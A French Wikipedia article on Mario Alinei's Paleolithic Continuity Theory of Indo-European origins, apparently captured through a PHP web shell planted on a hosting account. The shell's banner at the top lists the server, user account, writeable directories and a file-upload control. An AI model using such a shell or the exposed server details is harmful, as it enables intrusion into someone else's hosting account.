Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/t/h/é/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/t/h/é/Théorie_de_la_continuité_paléolithique.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Théorie de la continuité paléolithique - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Théorie de la continuité paléolithique</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <p>La <b>Théorie de la continuité paléolithique</b> (PCT) imaginée par le linguiste italien <a href="../../../../articles/m/a/r/Mario_Alinei_b0e5.html" title="Mario Alinei">Mario Alinei</a> propose de faire remonter au <a href="../../../../articles/p/a/l/Pal%C3%A9olithique.html" title="Paléolithique">paléolithique</a> final l'origine des <a href="../../../../articles/l/a/n/Langues_indo-europ%C3%A9ennes.html" title="Langues indo-européennes">langues indo-européennes</a> et rejette l'hypothèse communément admise d'une invasion par une civilisation plus évoluée venue d'Orient. Elle réfute également la Théorie de la dispersion néolithique (NDT) de Colin Renfrew qui lie l'apparition de l'agriculture à une colonisation indo-européenne pacifique au <a href="../../../../articles/n/%C3%A9/o/N%C3%A9olithique.html" title="Néolithique">néolithique</a>.</p>
<p>La théorie de Mario Alinei est vivement controversée dans les milieux universitaires, dans la mesure où elle consiste en une remise en question radicale de tout ce qui était considéré comme acquis dans le domaine.</p>
<p>Influencée à l’origine par les travaux de Karl Frederik Meinander sur les <a href="../../../../articles/l/a/n/Langues_finno-ougriennes.html" title="Langues finno-ougriennes">langues finno-ougriennes</a><sup id="cite_ref-0" class="reference"><a href="#cite_note-0" title=""><span class="cite_crochet">[</span>1<span class="cite_crochet">]</span></a></sup>, la théorie de la continuité paléolithique propose donc une alternative au modèle invasionniste de diffusion des langues indo-européennes. La démarche de Mario Alinei se décompose en deux étapes&#160;:</p>
<ol>
<li>une réfutation du modèle invasionniste&#160;;</li>
<li>la proposition d’une alternative (la théorie de la continuité paléolithique).</li>
</ol>
<p>C’est cette deuxième étape qui a fait l’objet de vives controverses.</p>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#R.C3.A9futation_du_mod.C3.A8le_invasionniste_indo-europ.C3.A9en"><span class="tocnumber">1</span> <span class="toctext">Réfutation du modèle invasionniste indo-européen</span></a></li>
<li class="toclevel-1"><a href="#La_propostion_d.27une_alternative"><span class="tocnumber">2</span> <span class="toctext">La propostion d'une alternative</span></a></li>
<li class="toclevel-1"><a href="#Critiques"><span class="tocnumber">3</span> <span class="toctext">Critiques</span></a></li>
<li class="toclevel-1"><a href="#Liens"><span class="tocnumber">4</span> <span class="toctext">Liens</span></a></li>
<li class="toclevel-1"><a href="#Notes_et_r.C3.A9f.C3.A9rences"><span class="tocnumber">5</span> <span class="toctext">Notes et références</span></a></li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name="R.C3.A9futation_du_mod.C3.A8le_invasionniste_indo-europ.C3.A9en" id="R.C3.A9futation_du_mod.C3.A8le_invasionniste_indo-europ.C3.A9en"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_de_la_continuit%C3%A9_pal%C3%A9olithique.html" title="Modifier la section&#160;: Réfutation du modèle invasionniste indo-européen">modifier</a>]</span> <span class="mw-headline">Réfutation du modèle invasionniste indo-européen</span></h2>
<p>Selon le modèle invasionniste couramment admis, un peuple de cavaliers venus de l’Est aurait envahi l’Europe à l’époque du <a href="../../../../articles/c/h/a/Chalcolithique.html" title="Chalcolithique">Chalcolithique</a> et diffusé ainsi sa langue et sa culture. Cette thèse qui remonte notamment aux travaux des néo-grammairiens <a href="../../../../articles/a/l/l/Allemagne.html" title="Allemagne">allemands</a> (<a href="../../../../articles/f/r/a/Franz_Bopp_49d8.html" title="Franz Bopp">Franz Bopp</a>, Wilhelm et Jakob Grimm, fut soutenue notamment par <a href="../../../../articles/a/n/t/Antoine_Meillet_8281.html" title="Antoine Meillet">Antoine Meillet</a> et deux de ses plus brillants élèves, <a href="../../../../articles/e/m/i/Emile_Benveniste_56b4.html" class="mw-redirect" title="Emile Benveniste">Emile Benveniste</a> et <a href="../../../../articles/g/e/o/Georges_Dum%C3%A9zil_7d53.html" title="Georges Dumézil">Georges Dumézil</a>, puis plus tard par l’archéologue <a href="../../../../articles/l/i/t/Lituanie.html" title="Lituanie">lituanienne</a> <a href="../../../../articles/m/a/r/Marija_Gimbutas_231c.html" title="Marija Gimbutas">Marija Gimbutas</a>, qui en demeure aujourd’hui l’un des principaux partisans.</p>
<p>L’archéologue britannique Colin Renfrew porte le premier un coup au modèle invasionniste<sup id="cite_ref-1" class="reference"><a href="#cite_note-1" title=""><span class="cite_crochet">[</span>2<span class="cite_crochet">]</span></a></sup> en soulignant l’absence de preuves archéologiques convaincantes, et en lui reprochant sa circularité logique&#160;: les archéologues doivent chercher des traces de cette invasion qui la confirmeraient, alors que, selon lui, c’est l’inverse qui devrait se produire. Parallèlement, un autre archéologue, Jean-Paul Demoule<sup id="cite_ref-2" class="reference"><a href="#cite_note-2" title=""><span class="cite_crochet">[</span>3<span class="cite_crochet">]</span></a></sup>, souligne de son côté la compromission idéologique du modèle. Enfin, Mario Alinei estime que ce principe de diffusion linguistique serait, s’il était avéré, un cas unique au monde<sup id="cite_ref-3" class="reference"><a href="#cite_note-3" title=""><span class="cite_crochet">[</span>4<span class="cite_crochet">]</span></a></sup>.</p>
<p>C’est sur ces prémisses que se fondent les modèles alternatifs de Renfrew (la théorie de la dispersion néolithique) et d’Alinei (la théorie de la continuité paléolithique). Dès lors, leurs conclusions divergent assez nettement. Renfrew et Alinei ne furent pas les premiers à s’interroger sur la validité du modèle invasionniste&#160;: des archéologues tels que <a href="../../../../articles/a/l/b/Albert_Grenier_bc65.html" title="Albert Grenier">Albert Grenier</a> avaient déjà pris leurs distances avec cette théorie dès les <a href="../../../../articles/a/n/n/Ann%C3%A9es_1940.html" title="Années 1940">années 1940</a><sup id="cite_ref-4" class="reference"><a href="#cite_note-4" title=""><span class="cite_crochet">[</span>5<span class="cite_crochet">]</span></a></sup>.</p>
<p><a name="La_propostion_d.27une_alternative" id="La_propostion_d.27une_alternative"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_de_la_continuit%C3%A9_pal%C3%A9olithique.html" title="Modifier la section&#160;: La propostion d'une alternative">modifier</a>]</span> <span class="mw-headline">La propostion d'une alternative</span></h2>
<p>Mario Alinei expose sa théorie et ses arguments dans le très volumineux ouvrage qui est au cœur de son travail<sup id="cite_ref-5" class="reference"><a href="#cite_note-5" title=""><span class="cite_crochet">[</span>6<span class="cite_crochet">]</span></a></sup>. Il se fonde notamment sur le principe du «&#160;<i>lexical self-dating</i><sup id="cite_ref-6" class="reference"><a href="#cite_note-6" title=""><span class="cite_crochet">[</span>7<span class="cite_crochet">]</span></a></sup>&#160;», selon lequel un mot apparaît pour la première fois conjointement à l’innovation qu’il désigne. Cette méthode ne peut concerner que ce qu’Alinei appelle des «&#160;notions datables&#160;» (outils, techniques, institutions sociales, etc). Il obtient ainsi un système de «&#160;périodisation lexicale<sup id="cite_ref-7" class="reference"><a href="#cite_note-7" title=""><span class="cite_crochet">[</span>8<span class="cite_crochet">]</span></a></sup>&#160;».</p>
<p>Il postule en outre que toute culture (au sens archéologique) est produite originellement par un peuple qui parle une langue donnée, qui imagine donc les mots désignant les innovations liées à cette culture. Selon Alinei, même si une culture est supplantée par une autre (cas fréquent), la culture originale, bien qu’altérée, finit par réémerger.</p>
<p>Se fondant donc sur la recherche archéologique, il est possible d’obtenir une carte des différentes cultures qui se sont succédé partout à toutes les époques. Ce genre de méthode fut du reste utilisée par le linguiste Gordon Childe au début du <a href="../../../../articles/x/x/e/XXe_si%C3%A8cle_ed3d.html" title="XXe siècle"><span class="romain" title="Nombre&#160;écrit en chiffres romains">XX</span><sup class="exposant">e</sup>&#160;siècle</a>. Partant, Alinei suggère qu’aucune invasion indo-européenne n’est nécessaire puisque la différenciation linguistique s’est faite à la fin de la <a href="../../../../articles/g/l/a/Glaciation_de_W%C3%BCrm_4094.html" title="Glaciation de Würm">glaciation de Würm</a> (<a href="../../../../articles/-/8/0/-8000.html" class="mw-redirect" title="-8000">-8000</a>), quand l’<a href="../../../../articles/h/o/m/Homo_sapiens.html" title="Homo sapiens">homo sapiens</a> a progressivement colonisé l’<a href="../../../../articles/e/u/r/Europe.html" title="Europe">Europe</a> qui se libérait des glaces. Dans cette même perspective, les zones montagneuses (<a href="../../../../articles/a/l/p/Alpes.html" title="Alpes">Alpes</a>) et le nord de l’Europe ont été peuplés plus tardivement, expliquant la progressive différenciation linguistique.</p>
<p>Il appuie donc sa théorie sur les arguments suivants&#160;:</p>
<ul>
<li>l’absence de traces archéologiques d’une invasion, pacifique ou non, et au contraire les preuves d’une continuité culturelle&#160;;</li>
<li>la corrélation entre l’homogénéité génétique des population et leur homogénéité linguistique&#160;;</li>
<li>la très importante implication du patrimoine génétique européen héritée du Paléolithique (80&#160;%)&#160;;</li>
<li>la faible cohérence du vocabulaire indo-européen pour le lexique de l’agriculture par exemple, ce qui implique que les locuteurs du proto-indo-européen ne la connaissaient pas<sup id="cite_ref-8" class="reference"><a href="#cite_note-8" title=""><span class="cite_crochet">[</span>9<span class="cite_crochet">]</span></a></sup>. D’autres catégories lexicales sont également différenciées<sup id="cite_ref-9" class="reference"><a href="#cite_note-9" title=""><span class="cite_crochet">[</span>10<span class="cite_crochet">]</span></a></sup>.</li>
</ul>
<p>Il réfute enfin la théorie de la dispersion néolithique de Colin Renfrew, considérant que les migrants venus de l’est avec l’agriculture n’ont que faiblement contribué au changement linguistique, et n’étaient donc pas, selon lui, des Indo-Européens.</p>
<p><a name="Critiques" id="Critiques"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_de_la_continuit%C3%A9_pal%C3%A9olithique.html" title="Modifier la section&#160;: Critiques">modifier</a>]</span> <span class="mw-headline">Critiques</span></h2>
<p>La principale critique adressée à la théorie d'Alinei concerne la corrélation supposée entre l'homogénéité génétique et l'homogénéité linguistique.</p>
<p><a name="Liens" id="Liens"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_de_la_continuit%C3%A9_pal%C3%A9olithique.html" title="Modifier la section&#160;: Liens">modifier</a>]</span> <span class="mw-headline">Liens</span></h2>
<ul>
<li><a href="http://www.continuitas.com" class="external text" title="http://www.continuitas.com" rel="nofollow">Site de la PCT</a>&#160;: de nombreux articles d'Alinei accessibles.</li>
<li>Jean-Paul Demoule, <a href="http://www.anti-rev.org/textes/Demoule99a" class="external text" title="http://www.anti-rev.org/textes/Demoule99a" rel="nofollow">«&#160;Destin et usages des Indo-Européens&#160;»</a>, <i>in</i> <i>Mauvais temps</i>, n° 5, juillet 1999.</li>
</ul>
<p>]</p>
<p><a name="Notes_et_r.C3.A9f.C3.A9rences" id="Notes_et_r.C3.A9f.C3.A9rences"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_de_la_continuit%C3%A9_pal%C3%A9olithique.html" title="Modifier la section&#160;: Notes et références">modifier</a>]</span> <span class="mw-headline">Notes et références</span></h2>
<div style="font-size: 85%">
<ol class="references">
<li id="cite_note-0"><span class="renvois_vers_le_texte"><a href="#cite_ref-0" title="">↑</a></span> MEINANDER, Carl Fredrik (1973), <i>Studies in the Anthropology of the Finno-Ugrian Peoples</i> Helsinki.</li>
<li id="cite_note-1"><span class="renvois_vers_le_texte"><a href="#cite_ref-1" title="">↑</a></span> RENFREW, C. 1987, <i>Archaeology and Language: The Puzzle of Indo-European Origins</i>, London: Pimlico.</li>
<li id="cite_note-2"><span class="renvois_vers_le_texte"><a href="#cite_ref-2" title="">↑</a></span> DEMOULE, J-P. 1999, «&#160;Destin et Usages des Indo-Européens&#160;» in <i>Mauvais temps</i>, n° 5, juillet 1999, Syllepse.</li>
<li id="cite_note-3"><span class="renvois_vers_le_texte"><a href="#cite_ref-3" title="">↑</a></span> ALINEI, M. 1997, «&#160;Toward an Invasionless Model of Indoeuropean Origins&#160;: The Continuity Theory&#160;» in <i>Papers from the EEA Third Annual Meeting at Ravenna Vol. I Pre-and Protohistory</i> – Edited by M. Pearce and M. Tosi, BAR International Series 717, pp. 31-33.</li>
<li id="cite_note-4"><span class="renvois_vers_le_texte"><a href="#cite_ref-4" title="">↑</a></span> GRENIER, A, <i>Les Gaulois</i>, Flammarion, Paris.</li>
<li id="cite_note-5"><span class="renvois_vers_le_texte"><a href="#cite_ref-5" title="">↑</a></span> ALINEI, M. 1996-2000, <i>Origini delle lingue d’Europa</i>, Bologne, éd. Il Mulino, (2 volumes, 2&#160;000 p.).</li>
<li id="cite_note-6"><span class="renvois_vers_le_texte"><a href="#cite_ref-6" title="">↑</a></span> GRENIER, A, <i>Les Gaulois</i>, Flammarion, Paris.</li>
<li id="cite_note-7"><span class="renvois_vers_le_texte"><a href="#cite_ref-7" title="">↑</a></span> ALINEI, M. 2002, «&#160;Towards a Generalized Continuity Model for Uralic and Indoeuropean Languages&#160;» in <i>The Roots of Peoples and Languages of Northern Eurasia IV</i>, Oulu 18.8-20.8.2000, edited by Kyösti Julku, Societas Historiae Fenno-Ugricae, Oulu 2002, pp. 9-33.</li>
<li id="cite_note-8"><span class="renvois_vers_le_texte"><a href="#cite_ref-8" title="">↑</a></span> VILLAR, F. 1991, <i>Los indoeuropeos y los orígines de Europa&#160;: Lenguaje y historia</i>, Gredos, Madrid.</li>
<li id="cite_note-9"><span class="renvois_vers_le_texte"><a href="#cite_ref-9" title="">↑</a></span> ALINEI, M. 2002, «&#160;Towards a Generalized Continuity Model for Uralic and Indoeuropean Languages&#160;» in <i>The Roots of Peoples and Languages of Northern Eurasia IV</i>, Oulu 18.8-20.8.2000, edited by Kyösti Julku, Societas Historiae Fenno-Ugricae, Oulu 2002, pp. 9-33.</li>
</ol>
</div>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/n/u/v/Image%7ENuvola_apps_gaim.png_7f0e.html" class="image" title="Icône du portail des langues"><img alt="Icône du portail des langues" src="../../../../images/shared/thumb/3/3c/Nuvola_apps_gaim.png/24px-Nuvola_apps_gaim.png" width="24" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/l/a/n/Portail%7ELangues_ef49.html" title="Portail:Langues">Portail des langues</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 284/1000000
Post-expand include size: 1138/2048000 bytes
Template argument size: 132/2048000 bytes
Expensive parser function count: 0/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégorie</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/%C3%A9/t/u/Cat%C3%A9gorie%7E%C3%89tude_indo-europ%C3%A9enne_14e7.html" title="Catégorie:Étude indo-européenne">Étude indo-européenne</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/t/h/%C3%A9/Th%C3%A9orie_de_la_continuit%C3%A9_pal%C3%A9olithique.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/t/h/%C3%A9/Discuter%7ETh%C3%A9orie_de_la_continuit%C3%A9_pal%C3%A9olithique_2560.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Th%C3%A9orie_de_la_continuit%C3%A9_pal%C3%A9olithique">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../en/articles/m/a/r/Mario_Alinei_b0e5.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../it/articles/m/a/r/Mario_Alinei_b0e5.html">Italiano</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 9 mai 2008 à 12:21 par Utilisateur <a href="../../../../articles/s/h/e/Utilisateur%7ESherbrooke_9f52.html" title="Utilisateur:Sherbrooke">Sherbrooke</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/b/e/r/Utilisateur%7EBertrand_Bellet_c229.html" title="Utilisateur:Bertrand Bellet">Bertrand Bellet</a>, <a href="../../../../articles/m/a/t/Utilisateur%7EMathieuw_9157.html" title="Utilisateur:Mathieuw">Mathieuw</a>, <a href="../../../../articles/k/e/n/Utilisateur%7EKentel_3a41.html" title="Utilisateur:Kentel">Kentel</a>, <a href="../../../../articles/n/e/c/Utilisateur%7ENecrid_Master_1b25.html" title="Utilisateur:Necrid Master">Necrid Master</a> et <a href="../../../../articles/m/o/e/Utilisateur%7EMoez_b60b.html" title="Utilisateur:Moez">Moez</a>.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX